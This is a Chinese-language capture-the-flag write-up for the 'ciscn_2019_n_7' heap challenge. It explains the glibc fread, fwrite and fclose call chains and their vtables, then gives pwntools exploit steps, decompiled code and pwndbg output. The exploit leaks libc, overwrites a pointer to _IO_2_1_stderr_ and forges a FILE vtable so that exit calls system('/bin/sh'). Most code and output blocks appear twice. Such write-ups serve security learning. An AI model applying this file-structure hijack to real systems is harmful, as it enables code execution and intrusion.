// 调用vtable中的函数:
// 1、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。
// 2、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
// 3、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
// 4、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
// 5、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。
// 函数原型:
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
 
// 调用链:
fread(_IO_fread)
-> _IO_sgetn (_IO_XSGETN(宏))
    -> _IO_file_xsgetn(__GI__IO_file_xsgetn)  // fread读入数据的核心函数
        -> _IO_doallocbuf  -> _IO_file_doallocate // 初始化FILE结构体中的指针,建立输入缓冲区
        -> __underflow   -> _IO_file_underflow // 调用系统调用读入数据
 
 
// _IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:
// 第一部分是fp->_IO_buf_base为空的情况,表明此时的FILE结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。
// 第二部分是输入缓冲区里有输入,即fp->_IO_read_ptr小于fp->_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。
// 第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。
 
// 调用vtable中的函数:
// 1、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。
// 2、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
// 3、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
// 4、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。
// 5、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。
//函数原型:
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
 
// 调用链:
fwrite(_IO_fwrite)
-> _IO_sputn (_IO_XSPUTN)
  -> _IO_new_file_xsputn
      // 1、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。
      // 2、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。
      -> _IO_OVERFLOW 
          -> __overflow(_IO_new_file_overflow)
              -> // 2.1 判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回
              -> _IO_doallocbuf -> _IO_file_doallocate// 2.2.1 判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配
              ->  _IO_setg // 2.2.2 2.2,如果为空,分配输出缓冲区后,设置read相关的三个指针
              -> // 2.3 初始化其他指针,最主要的是write相关的三个指针
              -> _IO_do_write(_IO_new_do_write) // 2.4 调用系统调用write输出输出缓冲区,输出的内容为f->_IO_write_ptr到f->_IO_write_base之间的内容
                  -> _IO_SYSWRITE -> __write(_IO_new_file_write)
                                 -> write
      // 3、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。
      // 4、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。
      -> _IO_default_xsputn
 
// 调用vtable中的函数
// 1、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。
// 2、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
// 3、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。
// 4、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。
// 5、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。
//函数原型:
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
 
// 调用链:
fwrite(_IO_fwrite)
-> _IO_sputn (_IO_XSPUTN)
  -> _IO_new_file_xsputn
      // 1、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。
      // 2、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。
      -> _IO_OVERFLOW 
          -> __overflow(_IO_new_file_overflow)
              -> // 2.1 判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回
              -> _IO_doallocbuf -> _IO_file_doallocate// 2.2.1 判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配
              ->  _IO_setg // 2.2.2 2.2,如果为空,分配输出缓冲区后,设置read相关的三个指针
              -> // 2.3 初始化其他指针,最主要的是write相关的三个指针
              -> _IO_do_write(_IO_new_do_write) // 2.4 调用系统调用write输出输出缓冲区,输出的内容为f->_IO_write_ptr到f->_IO_write_base之间的内容
                  -> _IO_SYSWRITE -> __write(_IO_new_file_write)
                                 -> write
      // 3、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。
      // 4、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。
      -> _IO_default_xsputn
 
// 调用vtable中的函数
// 1、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。
// 2、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。
// 3、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。
// 4、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。
// 5、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。
// 函数原型:
int fclose(FILE *stream)
 
// 调用链:
fclose(_IO_new_fclose)
-> _IO_un_link // FILE结构体从_IO_list_all链表中取下
-> _IO_file_close_it // 关闭文件并释放缓冲区
    -> _IO_file_is_open  // _IO_file_is_open宏检查该文件是否处于打开的状态
    -> _IO_do_flush // _IO_do_flush 刷新此时的输出缓冲区
        -> _IO_do_write // 调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。
    -> _IO_SYSCLOSE
        -> __close
    -> _IO_setb // 设置结构体的buf指针,并释放缓冲区
    -> _IO_setg // 设置read相关的指针
    -> _IO_setp // 设置write相关的指针
    -> _IO_un_link // 确保FILE结构体已从_IO_list_all中取下
 
-> _IO_FINISH // 进行最后的确认,确认FILE结构体从链表中删除以及缓冲区被释放
  -> __finish
-> free // free释放IO_FILE结构体内存
 
// 调用vtable中的函数:
// 1、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
// 2、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
// 3、_IO_FINISH函数为vtable中的__finish函数。
// 函数原型:
int fclose(FILE *stream)
 
// 调用链:
fclose(_IO_new_fclose)
-> _IO_un_link // FILE结构体从_IO_list_all链表中取下
-> _IO_file_close_it // 关闭文件并释放缓冲区
    -> _IO_file_is_open  // _IO_file_is_open宏检查该文件是否处于打开的状态
    -> _IO_do_flush // _IO_do_flush 刷新此时的输出缓冲区
        -> _IO_do_write // 调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。
    -> _IO_SYSCLOSE
        -> __close
    -> _IO_setb // 设置结构体的buf指针,并释放缓冲区
    -> _IO_setg // 设置read相关的指针
    -> _IO_setp // 设置write相关的指针
    -> _IO_un_link // 确保FILE结构体已从_IO_list_all中取下
 
-> _IO_FINISH // 进行最后的确认,确认FILE结构体从链表中删除以及缓冲区被释放
  -> __finish
-> free // free释放IO_FILE结构体内存
 
// 调用vtable中的函数:
// 1、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
// 2、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
// 3、_IO_FINISH函数为vtable中的__finish函数。
 
 
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ls
ciscn_2019_n_7  log.txt
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ./ciscn_2019_n_7
 
1.add page
2.edit page
3.show page
4.exit
Your choice->
Alarm clock
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ls
ciscn_2019_n_7  log.txt
lzx@ubuntu16x64:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ./ciscn_2019_n_7
 
1.add page
2.edit page
3.show page
4.exit
Your choice->
Alarm clock
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  __int64 v4; // rdx
  __int64 v5; // rcx
  bool v6; // zf
  bool v7; // sf
  unsigned __int8 v8; // of
 
  sub_CA0();
LABEL_2:
  while ( 2 )
  {
    while ( 1 )
    {
      v3 = sub_D80(a1, a2);
      v8 = __OFSUB__(v3, 3);
      v6 = v3 == 3;
      v7 = v3 - 3 < 0;
      if ( v3 != 3 )
        break;
LABEL_7:
      show();                                                                        // 3 - show
    }
    while ( (unsigned __int8)(v7 ^ v8) | v6 )
    {
      if ( v3 == 1 )                            // 1 - add
      {
        add();
        goto LABEL_2;
      }
      if ( v3 != 2 )
        goto LABEL_11;
      edit();                                                                        // 2 - edit
      v3 = sub_D80(a1, a2);
      v8 = __OFSUB__(v3, 3);
      v6 = v3 == 3;
      v7 = v3 - 3 < 0;
      if ( v3 == 3 )
        goto LABEL_7;
    }
    if ( v3 == 4 )
      exit_();                                                                // 4 - exit_
    if ( v3 == 666 )
    {
      sub_C50(a1, (__int64)a2, v4, v5);       // 666 - 打印puts函数地址
      continue;
    }
    break;
  }
LABEL_11:
  puts("NO, Please continue! ");
  return 0LL;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  __int64 v4; // rdx
  __int64 v5; // rcx
  bool v6; // zf
  bool v7; // sf
  unsigned __int8 v8; // of
 
  sub_CA0();
LABEL_2:
  while ( 2 )
  {
    while ( 1 )
    {
      v3 = sub_D80(a1, a2);
      v8 = __OFSUB__(v3, 3);
      v6 = v3 == 3;
      v7 = v3 - 3 < 0;
      if ( v3 != 3 )
        break;
LABEL_7:
      show();                                                                        // 3 - show
    }
    while ( (unsigned __int8)(v7 ^ v8) | v6 )
    {
      if ( v3 == 1 )                            // 1 - add
      {
        add();
        goto LABEL_2;
      }
      if ( v3 != 2 )
        goto LABEL_11;
      edit();                                                                        // 2 - edit
      v3 = sub_D80(a1, a2);
      v8 = __OFSUB__(v3, 3);
      v6 = v3 == 3;
      v7 = v3 - 3 < 0;
      if ( v3 == 3 )
        goto LABEL_7;
    }
    if ( v3 == 4 )
      exit_();                                                                // 4 - exit_
    if ( v3 == 666 )
    {
      sub_C50(a1, (__int64)a2, v4, v5);       // 666 - 打印puts函数地址
      continue;
    }
    break;
  }
LABEL_11:
  puts("NO, Please continue! ");
  return 0LL;
}
unsigned int sub_CA0()
{
  FILE *v0; // rbx
  char v1; // al
  unsigned int result; // eax
  unsigned __int64 v3; // rt1
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]
 
  v4 = __readfsqword(0x28u);
  v0 = fopen("log.txt", "r");
  while ( 1 )
  {
    v1 = fgetc(v0);
    if ( v1 == -1 )
      break;
    IO_putc(v1, stdout);
  }
  fclose(v0);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  global = malloc(0x18uLL);    // malloc了一个chunk给全局变量
  v3 = __readfsqword(0x28u);
  result = v3 ^ v4;
  if ( v3 == v4 )
    result = alarm(0x3Cu);
  return result;
}
unsigned int sub_CA0()
{
  FILE *v0; // rbx
  char v1; // al
  unsigned int result; // eax
  unsigned __int64 v3; // rt1
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]
 
  v4 = __readfsqword(0x28u);
  v0 = fopen("log.txt", "r");
  while ( 1 )
  {
    v1 = fgetc(v0);
    if ( v1 == -1 )
      break;
    IO_putc(v1, stdout);
  }
  fclose(v0);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  global = malloc(0x18uLL);    // malloc了一个chunk给全局变量
  v3 = __readfsqword(0x28u);
  result = v3 ^ v4;
  if ( v3 == v4 )
    result = alarm(0x3Cu);
  return result;
}
unsigned __int64 add()
{
  int len_; // eax
  _QWORD *v1; // r12
  __int64 len; // [rsp+0h] [rbp-28h]
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]
 
  v4 = __readfsqword(0x28u);
  if ( unk_202014 )
  {
    puts(aExists);
  }
  else
  {
    puts("Input string Length: ");
    read(0, &len, 8uLL);
    len_ = strtol((const char *)&len, 0LL, 10);
    if ( (unsigned __int64)len_ > 0x100 )
    {
      puts("Large!");
    }
    else
    {
      v1 = global;
      *global = len_;
      v1[2] = malloc(len_);
      unk_202014 = 1;
      puts("Author name:");
      read(0, global + 1, 0x10uLL);             // 输入0x10长度的author name,可以覆盖article指针
      puts("Now,you can edit your article.");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 add()
{
  int len_; // eax
  _QWORD *v1; // r12
  __int64 len; // [rsp+0h] [rbp-28h]
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]
 
  v4 = __readfsqword(0x28u);
  if ( unk_202014 )
  {
    puts(aExists);
  }
  else
  {
    puts("Input string Length: ");
    read(0, &len, 8uLL);
    len_ = strtol((const char *)&len, 0LL, 10);
    if ( (unsigned __int64)len_ > 0x100 )
    {
      puts("Large!");
    }
    else
    {
      v1 = global;
      *global = len_;
      v1[2] = malloc(len_);
      unk_202014 = 1;
      puts("Author name:");
      read(0, global + 1, 0x10uLL);             // 输入0x10长度的author name,可以覆盖article指针
      puts("Now,you can edit your article.");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
int edit()
{
  int result; // eax
  unsigned __int64 v1; // rt1
  unsigned __int64 v2; // rt1
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]
 
  v3 = __readfsqword(0x28u);
  if ( unk_202014 )
  {
    puts(aNew);
    read(0, global + 1, 0x10uLL);               // 同add一样,可溢出修改article指针
    puts("New contents:");
    read(0, (void *)global[2], *global);        // 从这可以看出文章内容存在global[2],若溢出,则可任意地址写
    v1 = __readfsqword(0x28u);
    result = v1 ^ v3;
    if ( v1 == v3 )
      result = puts("Over.");
  }
  else
  {
    v2 = __readfsqword(0x28u);
    result = v2 ^ v3;
    if ( v2 == v3 )
      result = puts("Dont't exists.");
  }
  return result;
}
int edit()
{
  int result; // eax
  unsigned __int64 v1; // rt1
  unsigned __int64 v2; // rt1
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]
 
  v3 = __readfsqword(0x28u);
  if ( unk_202014 )
  {
    puts(aNew);
    read(0, global + 1, 0x10uLL);               // 同add一样,可溢出修改article指针
    puts("New contents:");
    read(0, (void *)global[2], *global);        // 从这可以看出文章内容存在global[2],若溢出,则可任意地址写
    v1 = __readfsqword(0x28u);
    result = v1 ^ v3;
    if ( v1 == v3 )
      result = puts("Over.");
  }
  else
  {
    v2 = __readfsqword(0x28u);
    result = v2 ^ v3;
    if ( v2 == v3 )
      result = puts("Dont't exists.");
  }
  return result;
}
int show()
{
  int result; // eax
  unsigned __int64 v1; // rt1
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  if ( unk_202014 )
  {
    result = (signed int)global;
    if ( __readfsqword(0x28u) == v2 )
      result = _printf_chk(1LL, "%s\nAuthor:%s\n", global[2], global + 1);
  }
  else
  {
    v1 = __readfsqword(0x28u);
    result = v1 ^ v2;
    if ( v1 == v2 )
      result = puts("Dont't exists.");
  }
  return result;
}
int show()
{
  int result; // eax
  unsigned __int64 v1; // rt1
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  if ( unk_202014 )
  {
    result = (signed int)global;
    if ( __readfsqword(0x28u) == v2 )
      result = _printf_chk(1LL, "%s\nAuthor:%s\n", global[2], global + 1);
  }
  else
  {
    v1 = __readfsqword(0x28u);
    result = v1 ^ v2;
    if ( v1 == v2 )
      result = puts("Dont't exists.");
  }
  return result;
}
void __noreturn exit_()
{
  close(1);
  close(2);
  exit(0);
}
void __noreturn exit_()
{
  close(1);
  close(2);
  exit(0);
}
int close(int fd)
{
  return close(fd);
}
int close(int fd)
{
  return close(fd);
}
__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __readfsqword(0x28u);
  __readfsqword(0x28u);
  return _printf_chk(1LL, &unk_10D4, &puts, a4);
}
__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __readfsqword(0x28u);
  __readfsqword(0x28u);
  return _printf_chk(1LL, &unk_10D4, &puts, a4);
}
p *((struct [结构体类型]*) [地址])
p *((struct [结构体类型]*) [地址])
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
 
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
dbg()
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
 
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
dbg()
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5646d0338000
Size: 0x21
 
Allocated chunk | PREV_INUSE
Addr: 0x5646d0338020
Size: 0x101
 
Top chunk | PREV_INUSE
Addr: 0x5646d0338120
Size: 0x20ee1
 
pwndbg> x/8gx 0x5646d0338000
0x5646d0338000:    0x0000000000000000    0x0000000000000021
0x5646d0338010:    0x00000000000000f8    0x6161616161616161
0x5646d0338020:    0x00007f09704ab540    0x0000000000000101   article指针已经被覆盖为指向_IO_2_1_stderr_
0x5646d0338030:    0x0000000000000000    0x0000000000000000
pwndbg> x/gx 0x00007f09704ab540
0x7f09704ab540 <_IO_2_1_stderr_>:    0x00000000fbad2284
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5646d0338000
Size: 0x21
 
Allocated chunk | PREV_INUSE
Addr: 0x5646d0338020
Size: 0x101
 
Top chunk | PREV_INUSE
Addr: 0x5646d0338120
Size: 0x20ee1
 
pwndbg> x/8gx 0x5646d0338000
0x5646d0338000:    0x0000000000000000    0x0000000000000021
0x5646d0338010:    0x00000000000000f8    0x6161616161616161
0x5646d0338020:    0x00007f09704ab540    0x0000000000000101   article指针已经被覆盖为指向_IO_2_1_stderr_
0x5646d0338030:    0x0000000000000000    0x0000000000000000
pwndbg> x/gx 0x00007f09704ab540
0x7f09704ab540 <_IO_2_1_stderr_>:    0x00000000fbad2284
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
 
#define writebase_offset 0x20   ->0
#define writeptr_offset 0x28    ->1
#define mode_offset 0xc0        ->0
#define vtable_offset 0xd8      ->system&onegadget
 
payload = '/bin/sh\x00'+p64(0)*3 + p64(0) + p64(1)#0x30
payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70
payload = payload.ljust(0xd8, '\x00')
payload += p64(IO_2_1_stderr+0x40)
edit('a\n', payload)
dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
 
#define writebase_offset 0x20   ->0
#define writeptr_offset 0x28    ->1
#define mode_offset 0xc0        ->0
#define vtable_offset 0xd8      ->system&onegadget
 
payload = '/bin/sh\x00'+p64(0)*3 + p64(0) + p64(1)#0x30
payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70
payload = payload.ljust(0xd8, '\x00')
payload += p64(IO_2_1_stderr+0x40)
edit('a\n', payload)
dbg()
pwndbg> p _IO_2_1_stderr_
$1 = {
  file = {
    _flags = -72539516,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7efe8674e620 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7efe8674f770 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7efe8674d660 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7efe8674c6e0 <_IO_file_jumps>
}
pwndbg> p _IO_2_1_stderr_
$1 = {
  file = {
    _flags = -72539516,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7efe8674e620 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7efe8674f770 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7efe8674d660 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7efe8674c6e0 <_IO_file_jumps>
}
pwndbg> p _IO_2_1_stderr_
$1 = {
  file = {
    _flags = 1852400175# /bin/sh
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0
    _IO_write_base = 0x0# 0
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,  # 1
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,     # <-- 覆写的vtable会指向这里
    _IO_save_base = 0x0,
    _IO_backup_base = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D"# system
    _IO_save_end = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",     # system
    _markers = 0x7efe863ce3a0 <__libc_system>,                                                                                                         # system
    _chain = 0x7efe863ce3a0 <__libc_system>,                                                                                                                 # system
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7efe8674e580 <_IO_2_1_stderr_+64>            # addr(_IO_2_1_stderr_) + 0x40
}
 
pwndbg> p _IO_file_jumps
$2 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7efe864029d0 <_IO_new_file_finish>,
  __overflow = 0x7efe86403740 <_IO_new_file_overflow>,  # exit会调用(偏移为4)
  __underflow = 0x7efe864034b0 <_IO_new_file_underflow>,
  __uflow = 0x7efe86404610 <__GI__IO_default_uflow>,
  __pbackfail = 0x7efe86405990 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7efe864021f0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7efe86401ed0 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7efe864014d0 <_IO_new_file_seekoff>,
  __seekpos = 0x7efe86404a10 <_IO_default_seekpos>,
  __setbuf = 0x7efe86401440 <_IO_new_file_setbuf>,
  __sync = 0x7efe86401380 <_IO_new_file_sync>,
  __doallocate = 0x7efe863f6190 <__GI__IO_file_doallocate>,
  __read = 0x7efe864021b0 <__GI__IO_file_read>,
  __write = 0x7efe86401b80 <_IO_new_file_write>,
  __seek = 0x7efe86401980 <__GI__IO_file_seek>,
  __close = 0x7efe86401350 <__GI__IO_file_close>,
  __stat = 0x7efe86401b70 <__GI__IO_file_stat>,
  __showmanyc = 0x7efe86405b00 <_IO_default_showmanyc>,
  __imbue = 0x7efe86405b10 <_IO_default_imbue>
}
pwndbg> p _IO_2_1_stderr_
$1 = {
  file = {
    _flags = 1852400175# /bin/sh
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0
    _IO_write_base = 0x0# 0
    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,  # 1
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,     # <-- 覆写的vtable会指向这里
    _IO_save_base = 0x0,
    _IO_backup_base = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D"# system
    _IO_save_end = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",     # system
    _markers = 0x7efe863ce3a0 <__libc_system>,                                                                                                         # system
    _chain = 0x7efe863ce3a0 <__libc_system>,                                                                                                                 # system
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x0,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7efe8674e580 <_IO_2_1_stderr_+64>            # addr(_IO_2_1_stderr_) + 0x40
}
 
pwndbg> p _IO_file_jumps
$2 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7efe864029d0 <_IO_new_file_finish>,
  __overflow = 0x7efe86403740 <_IO_new_file_overflow>,  # exit会调用(偏移为4)
  __underflow = 0x7efe864034b0 <_IO_new_file_underflow>,
  __uflow = 0x7efe86404610 <__GI__IO_default_uflow>,
  __pbackfail = 0x7efe86405990 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7efe864021f0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7efe86401ed0 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7efe864014d0 <_IO_new_file_seekoff>,
  __seekpos = 0x7efe86404a10 <_IO_default_seekpos>,
  __setbuf = 0x7efe86401440 <_IO_new_file_setbuf>,
  __sync = 0x7efe86401380 <_IO_new_file_sync>,
  __doallocate = 0x7efe863f6190 <__GI__IO_file_doallocate>,
  __read = 0x7efe864021b0 <__GI__IO_file_read>,
  __write = 0x7efe86401b80 <_IO_new_file_write>,
  __seek = 0x7efe86401980 <__GI__IO_file_seek>,
  __close = 0x7efe86401350 <__GI__IO_file_close>,
  __stat = 0x7efe86401b70 <__GI__IO_file_stat>,
  __showmanyc = 0x7efe86405b00 <_IO_default_showmanyc>,
  __imbue = 0x7efe86405b10 <_IO_default_imbue>
}
pwndbg> p &(stderr->_flags)
$8 = (int *) 0x7f9d0bb2b540 <_IO_2_1_stderr_>
pwndbg> p &(stderr->_IO_read_ptr)
$9 = (char **) 0x7f9d0bb2b548 <_IO_2_1_stderr_+8>
pwndbg> p &(stderr->_flags)
$8 = (int *) 0x7f9d0bb2b540 <_IO_2_1_stderr_>
pwndbg> p &(stderr->_IO_read_ptr)
$9 = (char **) 0x7f9d0bb2b548 <_IO_2_1_stderr_+8>
# step4:exit
command('a')
sleep(0.5)
itr()
# step4:exit
command('a')
sleep(0.5)
itr()
from pwn import  *
from LibcSearcher import LibcSearcher
 
context(log_level='debug')#,terminal=['tmux','sp','-h'])
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
